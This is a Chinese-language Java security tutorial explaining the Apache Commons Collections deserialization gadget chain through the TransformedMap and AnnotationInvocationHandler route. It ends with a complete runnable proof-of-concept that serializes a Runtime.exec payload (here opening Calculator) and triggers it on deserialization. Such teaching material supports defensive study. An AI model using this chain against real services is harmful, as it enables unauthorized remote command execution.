Apache Commons Collections反序列化漏洞
Apache Commons是Apache開源的Java通用類項目在Java中項目中被廣泛的使用,Apache Commons當中有一個組件叫做Apache Commons Collections,主要封裝了Java的Collection(集合)相關類對象。本節將逐步詳解Collections反序列化攻擊鏈(僅以TransformedMap調用鏈為示例)最終實現反序列化RCE。
InvokerTransformer
在Collections中提供了一個非常重要的類: org.apache.commons.collections.functors.InvokerTransformer,這個類實現了:java.io.Serializable接口。2015年有研究者發現利用InvokerTransformer類的transform方法可以實現Java反序列化RCE,并提供了利用方法:CommonsCollections1.java。
InvokerTransformer類實現了org.apache.commons.collections.Transformer接口,Transformer提供了一個對象轉換方法:transform,主要用于將輸入對象轉換為輸出對象。InvokerTransformer類的主要作用就是利用Java反射機制來創建類實例。
InvokerTransformer類的transform方法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
// 獲取輸入類的類對象
Class cls = input.getClass();
// 通過輸入的方法名和方法參數,獲取指定的反射方法對象
Method method = cls.getMethod(iMethodName, iParamTypes);
// 反射調用指定的方法并返回方法調用結果
return method.invoke(input, iArgs);
} catch (Exception ex) {
// 省去異常處理部分代碼
}
}
使用InvokerTransformer實現調用本地命令執行方法:
public static void main(String[] args) {
// 定義需要執行的本地系統命令
String cmd = "open -a Calculator.app";
// 構建transformer對象
InvokerTransformer transformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{cmd}
);
// 傳入Runtime實例,執行對象轉換操作
transformer.transform(Runtime.getRuntime());
}
上述實例演示了通過InvokerTransformer的反射機制來調用java.lang.Runtime來實現命令執行,但在真實的漏洞利用場景我們是沒法在調用transformer.transform的時候直接傳入Runtime.getRuntime()對象的。
ChainedTransformer
org.apache.commons.collections.functors.ChainedTransformer類實現了Transformer鏈式調用,我們只需要傳入一個Transformer數組ChainedTransformer就可以實現依次的去調用每一個Transformer的transform方法。
ChainedTransformer.java:
public class ChainedTransformer implements Transformer, Serializable {
/** The transformers to call in turn */
private final Transformer[] iTransformers;
// 省去多余的方法和變量
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}
使用ChainedTransformer實現調用本地命令執行方法:
public static void main(String[] args) {
// 定義需要執行的本地系統命令
String cmd = "open -a Calculator.app";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 創建ChainedTransformer調用鏈對象
Transformer transformedChain = new ChainedTransformer(transformers);
// 執行對象轉換操作
transformedChain.transform(null);
}
通過構建ChainedTransformer調用鏈我們最終會使用InvokerTransformer來完成反射調用Runtime.getRuntime().exec(cmd)的邏輯。
利用InvokerTransformer執行本地命令
上面兩個Demo為我們演示了如何使用InvokerTransformer執行本地命令,現在我們也就還只剩下兩個問題:
- 如何傳入調用鏈。
- 如何調用
transform方法執行本地命令。
現在我們已經使用InvokerTransformer創建了一個含有惡意調用鏈的Transformer類的Map對象,緊接著我們應該思考如何才能夠將調用鏈竄起來并執行。
org.apache.commons.collections.map.TransformedMap類間接的實現了java.util.Map接口,同時支持對Map的key或者value進行Transformer轉換,調用decorate和decorateTransform方法就可以創建一個TransformedMap:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
// 省去實現代碼
}
只要調用TransformedMap的setValue/put/putAll中的任意方法都會調用InvokerTransformer類的transform方法,從而也就會觸發命令執行。
使用TransformedMap類的setValue觸發transform示例:
public static void main(String[] args) {
String cmd = "open -a Calculator.app";
// 此處省去創建transformers過程,參考上面的demo
// 創建ChainedTransformer調用鏈對象
Transformer transformedChain = new ChainedTransformer(transformers);
// 創建Map對象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap創建一個含有惡意調用鏈的Transformer類的Map對象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// transformedMap.put("v1", "v2");// 執行put也會觸發transform
// 遍歷Map元素,并調用setValue方法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最終調用到InvokerTransformer的transform方法,從而觸發Runtime命令執行調用鏈
entry.setValue("test");
}
System.out.println(transformedMap);
}
上述代碼向我們展示了只要在Java的API中的任何一個類實現了java.io.Serializable接口,并且可以傳入我們構建的TransformedMap對象還要有調用TransformedMap中的setValue/put/putAll中的任意方法一個方法的類,我們就可以在Java反序列化的時候觸發InvokerTransformer類的transform方法實現RCE。
AnnotationInvocationHandler
sun.reflect.annotation.AnnotationInvocationHandler類實現了java.lang.reflect.InvocationHandler(Java動態代理)接口和java.io.Serializable接口,它還重寫了readObject方法,在readObject方法中還間接的調用了TransformedMap中MapEntry的setValue方法,從而也就觸發了transform方法,完成了整個攻擊鏈的調用。
AnnotationInvocationHandler代碼片段:
package sun.reflect.annotation;
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
// 省去代碼部分
}
// Java動態代理的invoke方法
public Object invoke(Object var1, Method var2, Object[] var3) {
// 省去代碼部分
}
private void readObject(ObjectInputStream var1) {
// 省去代碼部分
}
}
readObject方法:
上圖中的第352行中的memberValues是AnnotationInvocationHandler的成員變量,memberValues的值是在var1.defaultReadObject();時反序列化生成的,它也就是我們在創建AnnotationInvocationHandler時傳入的帶有惡意攻擊鏈的TransformedMap。需要注意的是如果我們想要進入到var5.setValue這個邏輯那么我們的序列化的map中的key必須包含創建AnnotationInvocationHandler時傳入的注解的方法名。
既然利用AnnotationInvocationHandler類我們可以實現反序列化RCE,那么在序列化AnnotationInvocationHandler對象的時候傳入我們精心構建的包含了惡意攻擊鏈的TransformedMap對象的序列化字節數組給遠程服務,對方在反序列化AnnotationInvocationHandler類的時候就會觸發整個惡意的攻擊鏈,從而也就實現了遠程命令執行了。
創建AnnotationInvocationHandler對象:
因為sun.reflect.annotation.AnnotationInvocationHandler是一個內部API專用的類,在外部我們無法通過類名創建出AnnotationInvocationHandler類實例,所以我們需要通過反射的方式創建出AnnotationInvocationHandler對象:
// 創建Map對象
Map map = new HashMap();
// map的key名稱必須對應創建AnnotationInvocationHandler時使用的注解方法名,比如創建
// AnnotationInvocationHandler時傳入的注解是java.lang.annotation.Target,那么map
// 的key必須是@Target注解中的方法名,即:value,否則在反序列化AnnotationInvocationHandler
// 類調用其自身實現的readObject方法時無法通過if判斷也就無法通過調用到setValue方法了。
map.put("value", "value");
// 使用TransformedMap創建一個含有惡意調用鏈的Transformer類的Map對象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// 獲取AnnotationInvocationHandler類對象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 獲取AnnotationInvocationHandler類的構造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 設置構造方法的訪問權限
constructor.setAccessible(true);
// 創建含有惡意攻擊鏈(transformedMap)的AnnotationInvocationHandler類實例,等價于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);
instance對象就是我們最終用于序列化的AnnotationInvocationHandler對象,我們只需要將這個instance序列化后就可以得到用于攻擊的payload了。
完整的攻擊示例Demo:
package com.anbai.sec.serializes;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/**
* Creator: yz
* Date: 2019/12/16
*/
public class CommonsCollectionsTest {
public static void main(String[] args) {
String cmd = "open -a Calculator.app";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 創建ChainedTransformer調用鏈對象
Transformer transformedChain = new ChainedTransformer(transformers);
// 創建Map對象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap創建一個含有惡意調用鏈的Transformer類的Map對象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// // 遍歷Map元素,并調用setValue方法
// for (Object obj : transformedMap.entrySet()) {
// Map.Entry entry = (Map.Entry) obj;
//
// // setValue最終調用到InvokerTransformer的transform方法,從而觸發Runtime命令執行調用鏈
// entry.setValue("test");
// }
//
//// transformedMap.put("v1", "v2");// 執行put也會觸發transform
try {
// 獲取AnnotationInvocationHandler類對象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 獲取AnnotationInvocationHandler類的構造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 設置構造方法的訪問權限
constructor.setAccessible(true);
// 創建含有惡意攻擊鏈(transformedMap)的AnnotationInvocationHandler類實例,等價于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);
// 創建用于存儲payload的二進制輸出流對象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 創建Java對象序列化輸出流對象
ObjectOutputStream out = new ObjectOutputStream(baos);
// 序列化AnnotationInvocationHandler類
out.writeObject(instance);
out.flush();
out.close();
// 獲取序列化的二進制數組
byte[] bytes = baos.toByteArray();
// 輸出序列化的二進制數組
System.out.println("Payload攻擊字節數組:" + Arrays.toString(bytes));
// 利用AnnotationInvocationHandler類生成的二進制數組創建二進制輸入流對象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 通過反序列化輸入流(bais),創建Java對象輸入流(ObjectInputStream)對象
ObjectInputStream in = new ObjectInputStream(bais);
// 模擬遠程的反序列化過程
in.readObject();
// 關閉ObjectInputStream輸入流
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
反序列化RCE調用鏈如下:
ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()
Apache Commons Collections漏洞利用方式也不僅僅只有本節所講解的利用AnnotationInvocationHandler觸發TransformedMap構建調用鏈的這一種方式,ysoserial還提供了多種基于InstantiateTransformer/InvokerTransformer構建調用鏈方式:LazyMap、PriorityQueue、BadAttributeValueExpException、HashSet、Hashtable。
Java Web安全
推薦文章: